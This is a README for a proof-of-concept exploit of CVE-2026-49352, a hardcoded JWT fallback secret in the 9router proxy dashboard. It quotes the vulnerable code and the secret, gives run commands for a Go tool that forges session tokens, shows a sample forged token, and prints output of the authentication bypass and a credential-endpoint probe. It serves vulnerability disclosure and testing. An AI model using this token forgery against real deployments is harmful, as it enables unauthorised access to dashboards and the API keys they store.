Share
## https://sploitus.com/exploit?id=F307DC32-5F0A-5170-A8FB-13C5FA63A65D
# CVE-2026-49352 โ€” 9router Hardcoded JWT Secret Authentication Bypass

## Table of Contents

- [Overview](#overview)
- [Affected Versions](#affected-versions)
- [Root Cause](#root-cause)
- [Analysis](#analysis)
- [Repository Structure](#repository-structure)
- [Requirements](#requirements)
- [Usage](#usage)
- [Expected Output](#expected-output)
- [References](#references)
- [Disclaimer](#disclaimer)

---

## Overview

CVE-2026-49352 is a vulnerability in 9router, a self-hosted Node.js/Next.js
proxy for AI coding tools. The dashboard session JWT is signed with a
secret sourced from the `JWT_SECRET` environment variable, but if that
variable is left unset, both the login handler and the request guard fall
back to the same hardcoded literal:

```js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);
```

Because this string is committed to the public repository, it is not a
secret at all. Any attacker can sign a token with it and be treated as an
authenticated dashboard user.

---

## Affected Versions

| Affected range      | Fixed in |
| -------------------- | -------- |
| 0.2.21 โ€“ 0.4.41      | 0.4.45   |

---

## Root Cause

The fallback secret is defined identically in two independent files.

`src/app/api/auth/login/route.js` โ€” issues the session token on login:

```js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);
```

`src/dashboardGuard.js` โ€” verifies the token on every protected request:

```js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}
```

`hasValidToken()` succeeding is the *only* condition checked before granting
access to `/dashboard` and to the endpoints listed in `ALWAYS_PROTECTED`
(including `/api/settings/database`). There is no lookup of a session
record and no validation of where the token came from โ€” a valid signature
is treated as proof of identity.

---

## Analysis

The bypass is confirmed and reproducible against a build of the affected
codebase. With `JWT_SECRET` unset:

```
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK โ€” authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
```

### The deployment shape matters

The vulnerability only triggers when `JWT_SECRET` was never set by the
operator โ€” the default for most quick-start / docker-run deployments that
skip the environment configuration step. Deployments that explicitly set
`JWT_SECRET` to a random value are not affected, since `SECRET` is derived
once at module load and never falls back.

---

## Repository Structure

```
cve-2026-49352-poc/
โ”œโ”€โ”€ dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
โ”œโ”€โ”€ podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
โ””โ”€โ”€ exploit/
    โ”œโ”€โ”€ go.mod                   # requires github.com/golang-jwt/jwt/v5
    โ””โ”€โ”€ exploit.go                # PoC โ€” Go
```

---

## Requirements

| Tool   | Version | Notes                           |
| ------ | ------- | -------------------------------- |
| Podman | โ‰ฅ 4.0   | `podman-compose` required        |
| Go     | โ‰ฅ 1.22  | For running the exploit locally  |

External Go dependency: `github.com/golang-jwt/jwt/v5`.

---

## Usage

### 1. Build and start the container

```bash
podman-compose build
podman-compose up -d
```

Wait for the app to report ready, then verify:

```bash
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
```

### 2. Run the exploit

```bash
cd exploit
go run exploit.go -target http://localhost:20128
```

Add `-probe` to also request `/api/settings/database` with the forged
cookie:

```bash
go run exploit.go -target http://localhost:20128 -probe
```

Available flags:

| Flag      | Default                                | Description                                     |
| --------- | --------------------------------------- | ------------------------------------------------ |
| `-target` | `http://localhost:20128`                | Base URL of the 9router instance                 |
| `-secret` | `9router-default-secret-change-me`      | JWT fallback secret to forge with                |
| `-ttl`    | `36 * 365 * 24h`                        | Validity window of the forged token              |
| `-probe`  | `false`                                 | Also request `/api/settings/database`            |

### 3. Cleanup

```bash
podman-compose down -v
```

---

## Expected Output

```
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK โ€” authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
```

---

## References

| Resource          | Link                                                                             |
| ------------------ | --------------------------------------------------------------------------------- |
| Advisory           | [GHSA-jphh-m39h-6gwx](https://github.com/advisories/GHSA-jphh-m39h-6gwx)          |
| Vulnerable repo    | [decolua/9router](https://github.com/decolua/9router)                            |
| Full analysis โ€” blog post | [return-zero.dev/posts/cve-2026-49352](https://return-zero.dev/posts/cve-2026-49352) |

---

## Disclaimer

This repository is intended for educational purposes and local exploitability
analysis only. All testing was performed against a self-hosted container
environment. Do not run this PoC against systems you do not own or have
explicit written authorization to test.